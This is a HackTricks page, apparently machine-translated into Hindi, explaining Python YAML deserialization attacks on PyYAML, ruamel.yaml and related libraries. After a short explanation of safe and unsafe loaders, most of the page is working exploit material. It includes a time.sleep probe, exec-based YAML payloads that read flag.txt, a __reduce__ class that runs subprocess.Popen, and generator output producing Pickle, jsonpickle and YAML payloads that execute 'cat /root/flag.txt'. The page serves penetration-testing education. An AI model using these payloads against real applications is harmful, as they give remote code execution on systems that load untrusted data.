Python Yaml Deserialization
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Yaml Deserialization
Yaml पायथन पुस्तकालय पायथन ऑब्जेक्ट्स को सीरियलाइज़ करने में भी सक्षम है और केवल कच्चे डेटा को नहीं:
print(yaml.dump(str("lol")))
lol
...
print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
जाँच करें कि tuple कच्चे डेटा का प्रकार नहीं है और इसलिए इसे serialized किया गया था। और यही range के साथ हुआ (जो builtins से लिया गया है)।
safe_load() या safe_load_all() SafeLoader का उपयोग करता है और क्लास ऑब्जेक्ट deserialization का समर्थन नहीं करता है। क्लास ऑब्जेक्ट deserialization का उदाहरण:
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=Loader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=UnsafeLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.load_all(data, Loader=FullLoader)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
पिछले कोड ने unsafe_load का उपयोग किया ताकि सीरियलाइज्ड पायथन क्लास को लोड किया जा सके। इसका कारण यह है कि संस्करण >= 5.1 में, यह किसी भी सीरियलाइज्ड पायथन क्लास या क्लास एट्रिब्यूट को डीसिरियलाइज करने की अनुमति नहीं देता, जब लोड() में लोडर निर्दिष्ट नहीं किया गया हो या Loader=SafeLoader हो।
बेसिक एक्सप्लॉइट
कैसे स्लीप को निष्पादित करें इसका उदाहरण:
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
Vulnerable .load("<content>") without Loader
पुराने संस्करण pyyaml deserialization हमलों के प्रति संवेदनशील थे यदि आपने कुछ लोड करते समय Loader निर्दिष्ट नहीं किया: yaml.load(data)
आप संवेदनशीलता का विवरण यहाँ** पा सकते हैं।** उस पृष्ठ में प्रस्तावित शोषण है:
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
या आप इस एक-लाइनर का उपयोग कर सकते हैं जो @ishaack द्वारा प्रदान किया गया है:
!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec } },
],
}
ध्यान दें कि हाल के संस्करणों में आप अब .load()
बिना Loader
के नहीं बुला सकते और FullLoader
अब इस हमले के प्रति संवेदनशील नहीं है।
RCE
कस्टम पेलोड्स को PyYAML या ruamel.yaml जैसे Python YAML मॉड्यूल का उपयोग करके बनाया जा सकता है। ये पेलोड्स उन सिस्टम में कमजोरियों का लाभ उठा सकते हैं जो बिना उचित सफाई के अविश्वसनीय इनपुट को डेसिरियलाइज़ करते हैं।
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
#!!python/object/apply:subprocess.Popen
#- ls
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
Payloads बनाने के लिए टूल
यह टूल https://github.com/j0lt-github/python-deserialization-attack-payload-generator Pickle, PyYAML, jsonpickle और ruamel.yaml का दुरुपयोग करने के लिए पायथन डेसिरियलाइजेशन पेलोड बनाने के लिए उपयोग किया जा सकता है:
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!
cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
संदर्भ
- https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
- https://net-square.com/yaml-deserialization-attack-in-python.html
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।